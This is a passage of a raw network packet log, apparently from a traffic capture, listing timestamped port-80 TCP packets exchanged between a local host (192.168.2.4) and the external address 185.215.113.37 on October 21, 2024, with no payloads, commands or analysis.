Oct 21, 2024 09:06:17.921056986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921073914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921087980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921103954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921127081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921134949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.921149969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.921175003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.921822071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921838045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921852112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921865940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921884060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.921891928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.921927929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.921952963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.922768116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.922784090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.922797918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.922813892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.922832012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.922838926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.922856092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.922882080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.922902107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.923700094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.923716068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.923729897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.923743963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.923760891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.923769951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.923796892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.923827887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.924587965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.924603939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.924618959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.924647093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.924671888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.930131912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930264950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930285931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930351973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.930598974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930613995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930668116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.930713892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.930880070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930896997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.930947065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.931199074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.931215048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.931230068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.931250095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.931322098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.003684998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.003833055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.003870964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.003906012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.003928900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.003958941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.004137039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.004169941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.004199028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.004216909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.004245996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.004417896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.004527092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.004559994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.004628897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.004832029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.004885912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.038656950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.038726091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.038939953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.038989067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039042950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039103985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039134979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039158106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039199114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039212942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039261103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039558887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039619923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039634943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039666891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039688110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039721012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.039757013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.039772987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.040308952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.040339947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.040376902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.040404081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.040416956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.040457964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.040471077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.040509939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.040543079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.040797949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.041177988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.041208982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.041234016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.041258097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.041282892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.041310072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.041333914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.041356087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.041383028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.041414976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.041439056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.041464090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042437077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042469025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042499065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042519093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042541981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042561054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042589903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042620897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042642117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042673111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042711020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042726994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.042938948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.042972088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043005943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.043023109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.043045998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043080091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043102026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.043128014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.043153048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043190002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043209076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.043240070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.043896914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043931007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043962002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.043993950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.044019938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.044039965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.044078112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.044091940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.044126987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.044825077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.044857025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.044878960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.044908047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.044929028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.044960976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.044991970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045012951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.045044899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045066118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.045098066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.045698881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045732021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045762062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.045794010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045806885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.045847893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045861006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.045886993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.045942068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.050775051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.050842047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.050880909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.050930023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.050964117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051048994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.051103115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051136017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051192045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.051414013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051445961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051471949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.051500082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051537037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.051554918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.051572084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051620960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.051888943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051915884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.051981926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.123883009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.123953104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.124025106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.124057055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.124114990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.124268055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.124299049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.124341011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.124358892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.124360085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.124385118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.124423981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.124479055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.124869108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.125010967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.158731937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.158803940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.158833027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.158866882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.158888102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.158916950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159027100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159145117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159187078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159241915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159414053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159446001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159466982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159493923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159519911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159573078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159914017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159945011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.159965038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.159991980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.160017014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160052061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160073042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.160098076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.160140991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160203934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.160806894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160840034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160862923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.160886049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.160912037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160943985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.160979986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161000013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161020994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161053896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161076069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161097050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161128044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161187887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161716938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161750078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161772013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161798000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.161820889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161854029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161887884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.161909103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162010908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162668943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.162702084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.162724018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162748098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162772894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.162806988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.162827015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162857056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162877083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.162909985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.162930012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.162961960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163510084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163542986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163582087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163600922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163630009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163661003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163680077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163705111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163729906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163762093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163781881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163804054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.163831949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.163897038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.164434910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.164469004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.164488077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.164511919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.164539099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.164571047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.164611101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.164624929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.164644957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.164664030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.165361881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.165395021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.165416956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.165446997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.165467978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.165498972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.165519953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.165560007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.165572882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.165606976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.165625095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.165674925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.166192055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.166225910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.166290045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.170546055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.170615911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.170644045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.170675993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.170732021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171260118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171324968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171381950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171432018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171451092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171478987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171602011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171633959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171685934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171685934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171850920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171883106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.171904087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.171935081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.172143936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.172174931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.172195911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.172219992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.172246933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.172283888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.172303915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.172364950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.244168043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.244249105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.244318008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.244350910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.244404078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.244538069 CEST	80	49730	185.215.113.37	192.168.2.4
